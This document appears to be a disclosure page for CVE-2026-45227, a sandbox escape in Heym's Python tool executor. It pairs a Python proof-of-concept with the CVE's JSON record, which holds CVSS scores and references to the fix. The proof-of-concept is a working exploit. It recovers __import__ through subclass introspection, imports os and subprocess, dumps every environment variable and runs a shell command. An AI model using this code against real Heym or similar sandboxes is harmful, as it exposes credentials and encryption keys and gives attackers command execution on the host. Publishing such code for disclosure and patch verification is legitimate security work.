CVE-2026-45227

# PoC for CVE-2026-45227: Heym Sandbox Escape # This demonstrates recovering __import__ via introspection to execute commands def sandbox_escape(): # Start with a base object like a tuple or list base = ().__class__.__bases__[0] # Iterate through subclasses to find a reference to __import__ for cls in base.__subclasses__(): try: # Check if '__import__' is in the class dictionary or accessible if "__import__" in cls.__dict__: # Recover the unrestricted __import__ function import_func = cls.__dict__["__import__"] # Import blocked modules (e.g., os, subprocess) os_mod = import_func("os") subprocess_mod = import_func("subprocess") # Access sensitive environment variables print("[+] Leaked Environment Variables:") for k, v in os_mod.environ.items(): print(f"{k}: {v}") # Execute arbitrary command result = subprocess_mod.check_output("id", shell=True) print(f"[+] Executed Command Output: {result.decode()}") return True except Exception: continue return False if __name__ == "__main__": sandbox_escape()

{"cve": {"id": "CVE-2026-45227", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:38.260", "lastModified": "2026-05-12T22:16:38.260", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://github.com/heymrun/heym/commit/32b7e809d987d9b018ec8daa2cdaf48f627f26f1", "source": "[email protected]"}, {"url": "https://github.com/heymrun/heym/pull/94", "source": "[email protected]"}, {"url": "https://github.com/heymrun/heym/releases/tag/v0.0.21", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/heym-sandbox-escape-via-python-introspection", "source": "[email protected]"}]}}